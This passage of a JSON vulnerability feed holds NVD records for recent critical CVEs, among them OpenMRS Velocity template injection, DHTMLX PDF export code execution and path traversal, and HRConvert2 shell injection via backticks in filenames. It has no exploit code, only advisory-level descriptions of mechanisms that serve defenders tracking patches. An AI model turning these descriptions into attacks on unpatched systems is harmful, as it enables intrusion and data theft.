Magento"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-42155","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-42155","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42155","type":"primary","publishedAt":"2026-05-15T17:16:46.613Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41258","cveId":"CVE-2026-41258","aliases":[],"kind":"vulnerability","title":"OpenMRS is an open source electronic medical record system platform.","summary":"OpenMRS is an open source electronic medical record system platform. From 2.7.0 to before 2.7.9 and 2.8.6, the ConceptReferenceRangeUtility.evaluateCriteria() method in OpenMRS Core evaluates database-stored criteria strings as Apache Velocity templates without any sandbox configuration. The VelocityEngine is initialized with only logging properties and noSecureUberspector, leaving the default UberspectImpl in place, which allows unrestricted Java reflection through template expressions. A user with the Manage Concepts privilege can store a malicious Velocity template expression in a concept's reference range criteria field. This payload is then executed automatically whenever a user or API call validates an observation against the affected concept. The Velocity context exposes $patient (the Person / Patient object), $obs (the Obs object), and $fn (the ConceptReferenceRangeUtility instance with access to the full OpenMRS service layer). This vulnerability is fixed in 2.7.9 and 2.8.6.","detail":"OpenMRS is an open source electronic medical record system platform. From 2.7.0 to before 2.7.9 and 2.8.6, the ConceptReferenceRangeUtility.evaluateCriteria() method in OpenMRS Core evaluates database-stored criteria strings as Apache Velocity templates without any sandbox configuration. The VelocityEngine is initialized with only logging properties and noSecureUberspector, leaving the default UberspectImpl in place, which allows unrestricted Java reflection through template expressions. A user with the Manage Concepts privilege can store a malicious Velocity template expression in a concept's reference range criteria field. This payload is then executed automatically whenever a user or API call validates an observation against the affected concept. The Velocity context exposes $patient (the Person / Patient object), $obs (the Obs object), and $fn (the ConceptReferenceRangeUtility instance with access to the full OpenMRS service layer). This vulnerability is fixed in 2.7.9 and 2.8.6.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T17:16:46.463Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41258","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41258","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41258","type":"primary","publishedAt":"2026-05-15T17:16:46.463Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-2031","cveId":"CVE-2026-2031","aliases":[],"kind":"vulnerability","title":"An Improper Access Control vulnerability in several internal API endpoints for Google Cloud Application Integration prior to 2026-01-23 allows a remote, unauthenticated attacker...","summary":"An Improper Access Control vulnerability in several internal API endpoints for Google Cloud Application Integration prior to 2026-01-23 allows a remote, unauthenticated attacker to disclose sensitive internal information and execute arbitrary code using specially crafted HTTP requests to inadvertently exposed internal API endpoints.","detail":"An Improper Access Control vulnerability in several internal API endpoints for Google Cloud Application Integration prior to 2026-01-23 allows a remote, unauthenticated attacker to disclose sensitive internal information and execute arbitrary code using specially crafted HTTP requests to inadvertently exposed internal API endpoints.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T16:16:14.027Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:Clear","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-2031","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-2031","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-2031","type":"primary","publishedAt":"2026-05-15T16:16:14.027Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-7182","cveId":"CVE-2026-7182","aliases":[],"kind":"vulnerability","title":"Diagram's export module is vulnerable to Path Traversal in src attribute due to lack of HTML sanitization.","summary":"Diagram's export module is vulnerable to Path Traversal in src attribute due to lack of HTML sanitization. An unauthenticated user could craft the html payload which could include\n local files from the server and display them in the generated pdf.  \n\nThis issue was fixed in version 1.1.1.","detail":"Diagram's export module is vulnerable to Path Traversal in src attribute due to lack of HTML sanitization. An unauthenticated user could craft the html payload which could include\n local files from the server and display them in the generated pdf.  \n\nThis issue was fixed in version 1.1.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T13:16:19.250Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-7182","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-7182","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-7182","type":"primary","publishedAt":"2026-05-15T13:16:19.250Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41553","cveId":"CVE-2026-41553","aliases":[],"kind":"vulnerability","title":"PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Remote Code Execution due to lack of \"data\" parameter sanitization.","summary":"PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Remote Code Execution due to lack of \"data\" parameter sanitization. An unauthenticated attacker can inject the malicious JavaScript code to the parameter whose value is processed by Node.js and subsequently executed. This can lead to server compromise.\n\nThis issue was fixed in PDF Export Module version 0.7.6.","detail":"PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Remote Code Execution due to lack of \"data\" parameter sanitization. An unauthenticated attacker can inject the malicious JavaScript code to the parameter whose value is processed by Node.js and subsequently executed. This can lead to server compromise.\n\nThis issue was fixed in PDF Export Module version 0.7.6.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T13:16:19.130Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"dhtmlx","product":"pdf export module","stacks":["Dhtmlx","pdf export module"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41553","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41553","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41553","type":"primary","publishedAt":"2026-05-15T13:16:19.130Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-41552","cveId":"CVE-2026-41552","aliases":[],"kind":"vulnerability","title":"PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Path Traversal due to lack of HTML sanitization.","summary":"PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Path Traversal due to lack of HTML sanitization. An unauthenticated user could craft the html payload which could include\n local files from the server and display them in the generated PDF.  \n\nThis issue was fixed in PDF Export Module version 0.7.6.","detail":"PDF Export Module used in DHTMLX's products Gantt and Scheduler is vulnerable to Path Traversal due to lack of HTML sanitization. An unauthenticated user could craft the html payload which could include\n local files from the server and display them in the generated PDF.  \n\nThis issue was fixed in PDF Export Module version 0.7.6.\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T13:16:18.990Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":"dhtmlx","product":"pdf export module","stacks":["Dhtmlx","pdf export module"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-41552","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-41552","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41552","type":"primary","publishedAt":"2026-05-15T13:16:18.990Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-0481","cveId":"CVE-2026-0481","aliases":[],"kind":"vulnerability","title":"Unrestricted IP address binding in the AMD Device Metrics Exporter (ROCm ecosystem) could allow a remote attacker to perform unauthorized changes to the GPU configuration,...","summary":"Unrestricted IP address binding in the AMD Device Metrics Exporter (ROCm ecosystem) could allow a remote attacker to perform unauthorized changes to the GPU configuration, potentially resulting in loss of availability","detail":"Unrestricted IP address binding in the AMD Device Metrics Exporter (ROCm ecosystem) could allow a remote attacker to perform unauthorized changes to the GPU configuration, potentially resulting in loss of availability\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-15T05:16:33.590Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.2,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-0481","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-0481","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-0481","type":"primary","publishedAt":"2026-05-15T05:16:33.590Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44666","cveId":"CVE-2026-44666","aliases":[],"kind":"vulnerability","title":"HRConvert2 is a self-hosted, drag-and-drop & nosql file conversion server & share tool.","summary":"HRConvert2 is a self-hosted, drag-and-drop & nosql file conversion server & share tool. Prior to 3.3.8, the sanitizeString() function in convertCore.php is missing backtick (`) and tab (\\t) from its strip list. User input then reaches shell_exec(), where the shell interprets these characters and commands within filenames execute. This vulnerability is fixed in 3.3.8.","detail":"HRConvert2 is a self-hosted, drag-and-drop & nosql file conversion server & share tool. Prior to 3.3.8, the sanitizeString() function in convertCore.php is missing backtick (`) and tab (\\t) from its strip list. User input then reaches shell_exec(), where the shell interprets these characters and commands within filenames execute. This vulnerability is fixed in 3.3.8.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T21:16:47.370Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44666","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44666","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44666","type":"primary","publishedAt":"2026-05-14T21:16:47.370Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-8634","cveId":"CVE-2026-8634","aliases":[],"kind":"vulnerability","title":"Crabbox prior to v0.12.0 contains an environment variable exposure vulnerability that allows attackers with access to a malicious or compromised repository to forward local...","summary":"Crabbox prior to v0.12.0 contains an environment variable exposure vulnerability that allows attackers with access to a malicious or compromised repository to forward local secrets such as API tokens, cloud credentials, and broker tokens into the remote command environment. Attackers can exploit overly permissive environment variable allowlisting in repo-local Crabbox configuration to serialize sensitive environment variables into remote command execution, exposing credentials to the remote environment.","detail":"Crabbox prior to v0.12.0 contains an environment variable exposure vulnerability that allows attackers with access to a malicious or compromised repository to forward local secrets such as API tokens, cloud credentials, and broker tokens into the remote command environment. Attackers can exploit overly permissive environment variable allowlisting in repo-local Crabbox configuration to serialize sensitive environment variables into remote command execution, exposing credentials to the remote environment.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T20:17:21.717Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-8634","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-8634","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-8634","type":"primary","publishedAt":"2026-05-14T20:17:21.717Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:46:51.330Z&lastModEndDate=2026-10-26T15:20:55.429Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T15:20:55.429Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T13:11:54.490Z&lastModEndDate=2026-10-26T14:45:57.368Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:45:57.368Z","supports":"The NVD API page that supplied this CVE record."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?lastModStartDate=2026-10-26T12:40:01.998Z&lastModEndDate=2026-10-26T14:10:55.205Z&resultsPerPage=500&startIndex=0","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T14:10:55.205Z","supports":"The NVD API page that supplied this CVE record."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T15:20:55.429Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-44592","cveId":"CVE-2026-44592","aliases":[],"kind":"vulnerability","title":"Gradient is a nix-based continuous integration system.","summary":"Gradient is a nix-based continuous integration system. In 1.1.0, when GRADIENT_DISCOVERABLE=true (the default, and the NixOS module default), anyone who can reach /proto can register as a worker without any credentials by sending a fresh, never-registered worker UUID. The resulting session has PeerAuth::Open, i.e. it sees jobs from every organisation, and can immediately NarPush/NarUploaded arbitrary store paths into nar_storage and the cached_path table. This vulnerability is fixed in 1.1.1.","detail":"Gradient is a nix-based continuous integration system. In 1.1.0, when GRADIENT_DISCOVERABLE=true (the default, and the NixOS module default), anyone who can reach /proto can register as a worker without any credentials by sending a fresh, never-registered worker UUID. The resulting session has PeerAuth::Open, i.e. it sees jobs from every organisation, and can immediately NarPush/NarUploaded arbitrary store paths into nar_storage and the cached_path table. This vulnerability is fixed in 1.1.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-05-14T19:16:38.147Z","updatedAt":"2026-10-26T14:10:00.130Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-44592","asOf":"2026-10-26T14:10:00.130Z"},"epss":null},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-44592","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44592","type":"primary","publishedAt":"2026-05-14T19:16:38.147Z","checkedAt":"2026-10-26T15:20:55.429Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 